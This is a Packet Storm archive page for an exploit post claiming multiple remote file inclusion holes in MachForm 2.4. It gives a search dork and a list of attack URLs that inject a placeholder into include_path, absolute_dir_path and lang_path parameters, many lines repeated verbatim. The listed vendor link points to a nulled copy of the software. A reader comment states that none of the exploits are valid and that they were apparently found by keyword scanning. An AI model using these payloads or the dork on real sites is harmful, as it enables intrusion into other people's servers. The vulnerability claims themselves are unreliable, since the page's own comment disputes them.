flip the script

MachForm 2.4 Remote File Inclusion

MachForm 2.4 Remote File Inclusion
Posted Feb 11, 2012
Authored by indoushka

MachForm version 2.4 suffers from multiple remote file inclusion vulnerabilities.

tags | exploit, remote, vulnerability, code execution, file inclusion
MD5 | b7a49f1630617a94570e00015b7b8553

MachForm 2.4 Remote File Inclusion

Change Mirror Download
===============================
MachForm.v2.4 RFI Vulnerability
===============================
# Vendor: http://canopus.oron.com/i755lr7evek7np4dpndrvbqcqhs3uj4igorbmlhaqwglgek3qc2old7whll7z4mlrtcyk73t/MachForm.v2.4.PHP.NULL-DGT.zip

# Date: 2012-1-27

# Author : indoushka

########################################################

# Exploit By indoushka

-------------

dork : Powered by MachForm

Function: require File: embed_code.php Line: 2
Exploit: http://localhost/upload/embed_code.php?absolute_dir_path}=[EV!L]

##################################################

Function: require File: machform.php Line: 1
Exploit: http://localhost/upload/machform.php?include_path=[EV!L]

##################################################

Function: require File: machform.php Line: 1
Exploit: http://localhost/upload/machform.php?include_path=[EV!L]

##################################################

Function: require File: machform.php Line: 1
Exploit: http://localhost/upload/machform.php?include_path=[EV!L]

##################################################

Function: require File: machform.php Line: 1
Exploit: http://localhost/upload/machform.php?include_path=[EV!L]

##################################################

Function: require File: machform.php Line: 1
Exploit: http://localhost/upload/machform.php?include_path=[EV!L]

##################################################

Function: require File: machform.php Line: 1
Exploit: http://localhost/upload/machform.php?include_path=[EV!L]

##################################################

Function: require File: machform.php Line: 1
Exploit: http://localhost/upload/machform.php?include_path=[EV!L]

##################################################

Function: include File: class.phpmailer.php Line: 18
Exploit: http://localhost/upload/lib/class.phpmailer.php?lang_path=[EV!L]

##################################################

Function: include File: class.phpmailer.php Line: 18
Exploit: http://localhost/upload/lib/class.phpmailer.php?lang_type=[EV!L]

##################################################

Function: include File: class.phpmailer.php Line: 18
Exploit: http://localhost/upload/lib/class.phpmailer.php?lang_path=[EV!L]

##################################################




----------------------------------------------------------

Comments (1)

RSS Feed Subscribe to this comment feed
yuniar

This is invalid exploit. None of the remote file inclusion exploit are valid. I suppose the person who reported this simply scan the code for the keyword "lang_path", "include_path" etc and marked it as exploitable once it found those keywords.

Comment by yuniar
2012-03-06 15:59:21 UTC | Permalink | Reply
Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close